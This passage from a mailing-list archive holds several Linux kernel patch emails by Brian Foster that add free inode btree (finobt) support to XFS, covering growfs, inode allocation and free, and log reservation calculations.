%d).", + __func__, agno, mp->m_sb.sb_agcount); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + agino = XFS_INO_TO_AGINO(mp, inode); + if (inode != XFS_AGINO_TO_INO(mp, agno, agino)) { + xfs_warn(mp, "%s: inode != XFS_AGINO_TO_INO() (%llu != %llu).", + __func__, (unsigned long long)inode, + (unsigned long long)XFS_AGINO_TO_INO(mp, agno, agino)); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + agbno = XFS_AGINO_TO_AGBNO(mp, agino); + if (agbno >= mp->m_sb.sb_agblocks) { + xfs_warn(mp, "%s: agbno >= mp->m_sb.sb_agblocks (%d >= %d).", + __func__, agbno, mp->m_sb.sb_agblocks); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + /* + * Get the allocation group header. + */ + error = xfs_ialloc_read_agi(mp, tp, agno, &agbp); + if (error) { + xfs_warn(mp, "%s: xfs_ialloc_read_agi() returned error %d.", + __func__, error); + return error; + } + + /* + * Fix up the inode allocation btree. + */ + error = xfs_difree_inobt(mp, tp, agbp, agino, flist, delete, first_ino, + &rec); + if (error) + goto error0; + + return 0; + +error0: + return error; +} + STATIC int xfs_imap_lookup( struct xfs_mount *mp, -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 08:56:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 47E257F52 for ; Mon, 24 Feb 2014 08:56:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B6DB4AC004 for ; Mon, 24 Feb 2014 06:56:53 -0800 (PST) X-ASG-Debug-ID: 1393253812-04cbb00c28758030001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ek5X32KeJ9QfS5Jg for ; Mon, 24 Feb 2014 06:56:52 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEunE3003969 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 09:56:51 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEU4oF005314 for ; Mon, 24 Feb 2014 09:30:05 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 93C82124555; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 09/11] xfs: add finobt support to growfs Date: Mon, 24 Feb 2014 09:30:01 -0500 X-ASG-Orig-Subj: [PATCH v4 09/11] xfs: add finobt support to growfs Message-Id: <1393252203-7423-10-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393253812 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add finobt support to growfs. Initialize the agi root/level fields and the root finobt block. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner --- fs/xfs/xfs_fsops.c | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 02fb943..96e4eb0 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -316,6 +316,10 @@ xfs_growfs_data_private( agi->agi_dirino = cpu_to_be32(NULLAGINO); if (xfs_sb_version_hascrc(&mp->m_sb)) uuid_copy(&agi->agi_uuid, &mp->m_sb.sb_uuid); + if (xfs_sb_version_hasfinobt(&mp->m_sb)) { + agi->agi_free_root = cpu_to_be32(XFS_FIBT_BLOCK(mp)); + agi->agi_free_level = cpu_to_be32(1); + } for (bucket = 0; bucket < XFS_AGI_UNLINKED_BUCKETS; bucket++) agi->agi_unlinked[bucket] = cpu_to_be32(NULLAGINO); @@ -407,6 +411,34 @@ xfs_growfs_data_private( xfs_buf_relse(bp); if (error) goto error0; + + /* + * FINO btree root block + */ + if (xfs_sb_version_hasfinobt(&mp->m_sb)) { + bp = xfs_growfs_get_hdr_buf(mp, + XFS_AGB_TO_DADDR(mp, agno, XFS_FIBT_BLOCK(mp)), + BTOBB(mp->m_sb.sb_blocksize), 0, + &xfs_inobt_buf_ops); + if (!bp) { + error = ENOMEM; + goto error0; + } + + if (xfs_sb_version_hascrc(&mp->m_sb)) + xfs_btree_init_block(mp, bp, XFS_FIBT_CRC_MAGIC, + 0, 0, agno, + XFS_BTREE_CRC_BLOCKS); + else + xfs_btree_init_block(mp, bp, XFS_FIBT_MAGIC, 0, + 0, agno, 0); + + error = xfs_bwrite(bp); + xfs_buf_relse(bp); + if (error) + goto error0; + } + } xfs_trans_agblocks_delta(tp, nfree); /* -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 08:56:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3F9007F52 for ; Mon, 24 Feb 2014 08:56:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1ADE4304032 for ; Mon, 24 Feb 2014 06:56:55 -0800 (PST) X-ASG-Debug-ID: 1393253813-04bdf0083a22a500001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ptny3m4ynBCyTL6j for ; Mon, 24 Feb 2014 06:56:53 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEunE7003969 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 09:56:53 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEU4ff005310 for ; Mon, 24 Feb 2014 09:30:04 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 6E4EC124532; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 06/11] xfs: use and update the finobt on inode allocation Date: Mon, 24 Feb 2014 09:29:58 -0500 X-ASG-Orig-Subj: [PATCH v4 06/11] xfs: use and update the finobt on inode allocation Message-Id: <1393252203-7423-7-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393253813 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Replace xfs_dialloc_ag() with an implementation that looks for a record in the finobt. The finobt only tracks records with at least one free inode. This eliminates the need for the intra-ag scan in the original algorithm. Once the inode is allocated, update the finobt appropriately (possibly removing the record) as well as the inobt. Move the original xfs_dialloc_ag() algorithm to xfs_dialloc_ag_inobt() and fall back as such if finobt support is not enabled. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 295 +++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 290 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 3fdb9fb..74131ab 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -710,13 +710,10 @@ xfs_ialloc_get_rec( } /* - * Allocate an inode. - * - * The caller selected an AG for us, and made sure that free inodes are - * available. + * Allocate an inode using the inobt-only algorithm. */ STATIC int -xfs_dialloc_ag( +xfs_dialloc_ag_inobt( struct xfs_trans *tp, struct xfs_buf *agbp, xfs_ino_t parent, @@ -975,6 +972,294 @@ error0: } /* + * Use the free inode btree to allocate an inode based on distance from the + * parent. Note that the provided cursor may be deleted and replaced. + */ +STATIC int +xfs_dialloc_ag_finobt_near( + xfs_agino_t pagino, + struct xfs_btree_cur **ocur, + struct xfs_inobt_rec_incore *rec) +{ + struct xfs_btree_cur *lcur = *ocur; /* left search cursor */ + struct xfs_btree_cur *rcur; /* right search cursor */ + struct xfs_inobt_rec_incore rrec; + int error; + int i, j; + + error = xfs_inobt_lookup(lcur, pagino, XFS_LOOKUP_LE, &i); + if (error) + return error; + + if (i == 1) { + error = xfs_inobt_get_rec(lcur, rec, &i); + if (error) + return error; + XFS_WANT_CORRUPTED_RETURN(i == 1); + + /* + * See if we've landed in the parent inode record. The finobt + * only tracks chunks with at least one free inode, so record + * existence is enough. + */ + if (pagino >= rec->ir_startino && + pagino < (rec->ir_startino + XFS_INODES_PER_CHUNK)) + return 0; + } + + error = xfs_btree_dup_cursor(lcur, &rcur); + if (error) + return error; + + error = xfs_inobt_lookup(rcur, pagino, XFS_LOOKUP_GE, &j); + if (error) + goto error_rcur; + if (j == 1) { + error = xfs_inobt_get_rec(rcur, &rrec, &j); + if (error) + goto error_rcur; + XFS_WANT_CORRUPTED_GOTO(j == 1, error_rcur); + } + + XFS_WANT_CORRUPTED_GOTO(i == 1 || j == 1, error_rcur); + if (i == 1 && j == 1) { + /* + * Both the left and right records are valid. Choose the closer + * inode chunk to the target. + */ + if ((pagino - rec->ir_startino + XFS_INODES_PER_CHUNK - 1) > + (rrec.ir_startino - pagino)) { + *rec = rrec; + xfs_btree_del_cursor(lcur, XFS_BTREE_NOERROR); + *ocur = rcur; + } else { + xfs_btree_del_cursor(rcur, XFS_BTREE_NOERROR); + } + } else if (j == 1) { + /* only the right record is valid */ + *rec = rrec; + xfs_btree_del_cursor(lcur, XFS_BTREE_NOERROR); + *ocur = rcur; + } else if (i == 1) { + /* only the left record is valid */ + xfs_btree_del_cursor(rcur, XFS_BTREE_NOERROR); + } + + return 0; + +error_rcur: + xfs_btree_del_cursor(rcur, XFS_BTREE_ERROR); + return error; +} + +/* + * Use the free inode btree to find a free inode based on a newino hint. If + * the hint is NULL, find the first free inode in the AG. + */ +STATIC int +xfs_dialloc_ag_finobt_newino( + struct xfs_agi *agi, + struct xfs_btree_cur *cur, + struct xfs_inobt_rec_incore *rec) +{ + int error; + int i; + + if (agi->agi_newino != cpu_to_be32(NULLAGINO)) { + error = xfs_inobt_lookup(cur, agi->agi_newino, XFS_LOOKUP_EQ, + &i); + if (error) + return error; + if (i == 1) { + error = xfs_inobt_get_rec(cur, rec, &i); + if (error) + return error; + XFS_WANT_CORRUPTED_RETURN(i == 1); + + return 0; + } + } + + /* + * Find the first inode available in the AG. + */ + error = xfs_inobt_lookup(cur, 0, XFS_LOOKUP_GE, &i); + if (error) + return error; + XFS_WANT_CORRUPTED_RETURN(i == 1); + + error = xfs_inobt_get_rec(cur, rec, &i); + if (error) + return error; + XFS_WANT_CORRUPTED_RETURN(i == 1); + + return 0; +} + +/* + * Update the inobt based on a modification made to the finobt. Also ensure that + * the records from both trees are equivalent post-modification. + */ +STATIC int +xfs_dialloc_ag_update_inobt( + struct xfs_btree_cur *cur, /* inobt cursor */ + struct xfs_inobt_rec_incore *frec, /* finobt record */ + int offset) /* inode offset */ +{ + struct xfs_inobt_rec_incore rec; + int error; + int i; + + error = xfs_inobt_lookup(cur, frec->ir_startino, XFS_LOOKUP_EQ, &i); + if (error) + return error; + XFS_WANT_CORRUPTED_RETURN(i == 1); + + error = xfs_inobt_get_rec(cur, &rec, &i); + if (error) + return error; + XFS_WANT_CORRUPTED_RETURN(i == 1); + ASSERT((XFS_AGINO_TO_OFFSET(cur->bc_mp, rec.ir_startino) % + XFS_INODES_PER_CHUNK) == 0); + + rec.ir_free &= ~XFS_INOBT_MASK(offset); + rec.ir_freecount--; + + XFS_WANT_CORRUPTED_RETURN((rec.ir_free == frec->ir_free) && + (rec.ir_freecount == frec->ir_freecount)); + + error = xfs_inobt_update(cur, &rec); + if (error) + return error; + + return 0; +} + +/* + * Allocate an inode using the free inode btree, if available. Otherwise, fall + * back to the inobt search algorithm. + * + * The caller selected an AG for us, and made sure that free inodes are + * available. + */ +STATIC int +xfs_dialloc_ag( + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_ino_t parent, + xfs_ino_t *inop) +{ + struct xfs_mount *mp = tp->t_mountp; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + xfs_agnumber_t pagno = XFS_INO_TO_AGNO(mp, parent); + xfs_agino_t pagino = XFS_INO_TO_AGINO(mp, parent); + struct xfs_perag *pag; + struct xfs_btree_cur *cur; /* finobt cursor */ + struct xfs_btree_cur *icur; /* inobt cursor */ + struct xfs_inobt_rec_incore rec; + xfs_ino_t ino; + int error; + int offset; + int i; + + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) + return xfs_dialloc_ag_inobt(tp, agbp, parent, inop); + + pag = xfs_perag_get(mp, agno); + + /* + * If pagino is 0 (this is the root inode allocation) use newino. + * This must work because we've just allocated some. + */ + if (!pagino) + pagino = be32_to_cpu(agi->agi_newino); + + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); + + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error_cur; + + /* + * The search algorithm depends on whether we're in the same AG as the + * parent. If so, find the closest available inode to the parent. If + * not, consider the agi hint or find the first free inode in the AG. + */ + if (agno == pagno) + error = xfs_dialloc_ag_finobt_near(pagino, &cur, &rec); + else + error = xfs_dialloc_ag_finobt_newino(agi, cur, &rec); + if (error) + goto error_cur; + + offset = xfs_lowbit64(rec.ir_free); + ASSERT(offset >= 0); + ASSERT(offset < XFS_INODES_PER_CHUNK); + ASSERT((XFS_AGINO_TO_OFFSET(mp, rec.ir_startino) % + XFS_INODES_PER_CHUNK) == 0); + ino = XFS_AGINO_TO_INO(mp, agno, rec.ir_startino + offset); + + /* + * Modify or remove the finobt record. + */ + rec.ir_free &= ~XFS_INOBT_MASK(offset); + rec.ir_freecount--; + if (rec.ir_freecount) + error = xfs_inobt_update(cur, &rec); + else + error = xfs_btree_delete(cur, &i); + if (error) + goto error_cur; + + /* + * The finobt has now been updated appropriately. We haven't updated the + * agi and superblock yet, so we can create an inobt cursor and validate + * the original freecount. If all is well, make the equivalent update to + * the inobt using the finobt record and offset information. + */ + icur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); + + error = xfs_check_agi_freecount(icur, agi); + if (error) + goto error_icur; + + error = xfs_dialloc_ag_update_inobt(icur, &rec, offset); + if (error) + goto error_icur; + + /* + * Both trees have now been updated. We must update the perag and + * superblock before we can check the freecount for each btree. + */ + be32_add_cpu(&agi->agi_freecount, -1); + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); + pag->pagi_freecount--; + + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -1); + + error = xfs_check_agi_freecount(icur, agi); + if (error) + goto error_icur; + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error_icur; + + xfs_btree_del_cursor(icur, XFS_BTREE_NOERROR); + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + xfs_perag_put(pag); + *inop = ino; + return 0; + +error_icur: + xfs_btree_del_cursor(icur, XFS_BTREE_ERROR); +error_cur: + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + xfs_perag_put(pag); + return error; +} + +/* * Allocate an inode on disk. * * Mode is used to tell whether the new inode will need space, and whether it -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 09:04:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2C2487F52 for ; Mon, 24 Feb 2014 09:04:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id AE7C5AC006 for ; Mon, 24 Feb 2014 07:04:39 -0800 (PST) X-ASG-Debug-ID: 1393254278-04bdf00fca347fd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uNOENc6TwuqvwmWU for ; Mon, 24 Feb 2014 07:04:38 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OF4RrE003285 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 10:04:38 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1OEU4wd011445 for ; Mon, 24 Feb 2014 09:30:11 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8738612454F; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 08/11] xfs: update the finobt on inode free Date: Mon, 24 Feb 2014 09:30:00 -0500 X-ASG-Orig-Subj: [PATCH v4 08/11] xfs: update the finobt on inode free Message-Id: <1393252203-7423-9-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393254278 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 An inode free operation can have several effects on the finobt. If all inodes have been freed and the chunk deallocated, we remove the finobt record. If the inode chunk was previously full, we must insert a new record based on the existing inobt record. Otherwise, we modify the record in place. Create the xfs_difree_finobt() function to identify the potential scenarios and update the finobt appropriately. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 102 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 102 insertions(+) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 85a8db5..8cd0709 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1547,6 +1547,99 @@ error0: } /* + * Free an inode in the free inode btree. + */ +STATIC int +xfs_difree_finobt( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agino_t agino, + struct xfs_inobt_rec_incore *ibtrec) /* inobt record */ +{ + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + struct xfs_btree_cur *cur; + struct xfs_inobt_rec_incore rec; + int offset = agino - ibtrec->ir_startino; + int error; + int i; + + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); + + error = xfs_inobt_lookup(cur, ibtrec->ir_startino, XFS_LOOKUP_EQ, &i); + if (error) + goto error; + if (i == 0) { + /* + * If the record does not exist in the finobt, we must have just + * freed an inode in a previously fully allocated chunk. If not, + * something is out of sync. + */ + XFS_WANT_CORRUPTED_GOTO(ibtrec->ir_freecount == 1, error); + + error = xfs_inobt_insert_rec(cur, ibtrec->ir_freecount, + ibtrec->ir_free, &i); + if (error) + goto error; + ASSERT(i == 1); + + goto out; + } + + /* + * Read and update the existing record. We could just copy the ibtrec + * across here, but that would defeat the purpose of having redundant + * metadata. By making the modifications independently, we can catch + * corruptions that we wouldn't see if we just copied from one record + * to another. + */ + error = xfs_inobt_get_rec(cur, &rec, &i); + if (error) + goto error; + XFS_WANT_CORRUPTED_GOTO(i == 1, error); + + rec.ir_free |= XFS_INOBT_MASK(offset); + rec.ir_freecount++; + + XFS_WANT_CORRUPTED_GOTO((rec.ir_free == ibtrec->ir_free) && + (rec.ir_freecount == ibtrec->ir_freecount), + error); + + /* + * The content of inobt records should always match between the inobt + * and finobt. The lifecycle of records in the finobt is different from + * the inobt in that the finobt only tracks records with at least one + * free inode. Hence, if all of the inodes are free and we aren't + * keeping inode chunks permanently on disk, remove the record. + * Otherwise, update the record with the new information. + */ + if (rec.ir_freecount == mp->m_ialloc_inos && + !(mp->m_flags & XFS_MOUNT_IKEEP)) { + error = xfs_btree_delete(cur, &i); + if (error) + goto error; + ASSERT(i == 1); + } else { + error = xfs_inobt_update(cur, &rec); + if (error) + goto error; + } + +out: + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error; + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return 0; + +error: + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; +} + +/* * Free disk inode. Carefully avoids touching the incore inode, all * manipulations incore are the caller's responsibility. * The on-disk inode is not changed by this operation, only the @@ -1614,6 +1707,15 @@ xfs_difree( if (error) goto error0; + /* + * Fix up the free inode btree. + */ + if (xfs_sb_version_hasfinobt(&mp->m_sb)) { + error = xfs_difree_finobt(mp, tp, agbp, agino, &rec); + if (error) + goto error0; + } + return 0; error0: -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 09:04:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CCC317F52 for ; Mon, 24 Feb 2014 09:04:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B6112304043 for ; Mon, 24 Feb 2014 07:04:41 -0800 (PST) X-ASG-Debug-ID: 1393254280-04cb6c6de275ea00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kWpMH9DTWdkafFsX for ; Mon, 24 Feb 2014 07:04:40 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OF4RrG003285 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 10:04:38 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1OEU4lo011435 for ; Mon, 24 Feb 2014 09:30:11 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 57F17124519; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 04/11] xfs: update inode allocation/free transaction reservations for finobt Date: Mon, 24 Feb 2014 09:29:56 -0500 X-ASG-Orig-Subj: [PATCH v4 04/11] xfs: update inode allocation/free transaction reservations for finobt Message-Id: <1393252203-7423-5-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393254280 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Create the xfs_calc_finobt_res() helper to calculate the finobt log reservation for inode allocation and free. Update XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to reserve blocks for the potential finobt record insertion on inode free (i.e., if an inode chunk was previously fully allocated). Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 25 ++++++++++++++++++++++- fs/xfs/xfs_trans_resv.c | 53 +++++++++++++++++++++++++++++++++++++++++++++--- fs/xfs/xfs_trans_space.h | 7 ++++++- 3 files changed, 80 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 3a137e9..08c3a31 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1726,8 +1726,31 @@ xfs_inactive_ifree( int error; tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); + + /* + * The ifree transaction might need to allocate blocks for record + * insertion to the finobt. We don't want to fail here at ENOSPC, so + * allow ifree to dip into the reserved block pool if necessary. + * + * Freeing large sets of inodes generally means freeing inode chunks, + * directory and file data blocks, so this should be relatively safe. + * Only under severe circumstances should it be possible to free enough + * inodes to exhaust the reserve block pool via finobt expansion while + * at the same time not creating free space in the filesystem. + * + * Send a warning if the reservation does happen to fail, as the inode + * now remains allocated and sits on the unlinked list until the fs is + * repaired. + */ + tp->t_flags |= XFS_TRANS_RESERVE; + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, + XFS_IFREE_SPACE_RES(mp), 0); if (error) { + if (error == ENOSPC) + xfs_warn_ratelimited(mp, + "Failed to remove inode(s) from unlinked list. " + "Please free space, unmount and run xfs_repair."); + ASSERT(XFS_FORCED_SHUTDOWN(mp)); xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); return error; diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 2ffd3e3..7746ba9 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -98,6 +98,47 @@ xfs_calc_inode_res( } /* + * The free inode btree is a conditional feature and the log reservation + * requirements differ slightly from that of the traditional inode allocation + * btree. The finobt tracks records for inode chunks with at least one free + * inode. A record can be removed from the tree for an inode allocation + * or free and thus the finobt reservation is unconditional across: + * + * - inode allocation + * - inode free + * - inode chunk allocation + * + * The 'modify' param indicates to include the record modification scenario. The + * 'alloc' param indicates to include the reservation for free space btree + * modifications on behalf of finobt modifications. This is required only for + * transactions that do not already account for free space btree modifications. + * + * the free inode btree: max depth * block size + * the allocation btrees: 2 trees * (max depth - 1) * block size + * the free inode btree entry: block size + */ +STATIC uint +xfs_calc_finobt_res( + struct xfs_mount *mp, + int alloc, + int modify) +{ + uint res; + + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) + return 0; + + res = xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)); + if (alloc) + res += xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); + if (modify) + res += (uint)XFS_FSB_TO_B(mp, 1); + + return res; +} + +/* * Various log reservation values. * * These are based on the size of the file system block because that is what @@ -267,6 +308,7 @@ xfs_calc_remove_reservation( * the superblock for the nlink flag: sector size * the directory btree: (max depth + v2) * dir block size * the directory inode's bmap btree: (max depth + v2) * block size + * the finobt (record modification and allocation btrees) */ STATIC uint xfs_calc_create_resv_modify( @@ -275,7 +317,8 @@ xfs_calc_create_resv_modify( return xfs_calc_inode_res(mp, 2) + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + (uint)XFS_FSB_TO_B(mp, 1) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)) + + xfs_calc_finobt_res(mp, 1, 1); } /* @@ -313,6 +356,7 @@ __xfs_calc_create_reservation( * the superblock for the nlink flag: sector size * the inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size + * the finobt (record insertion) */ STATIC uint 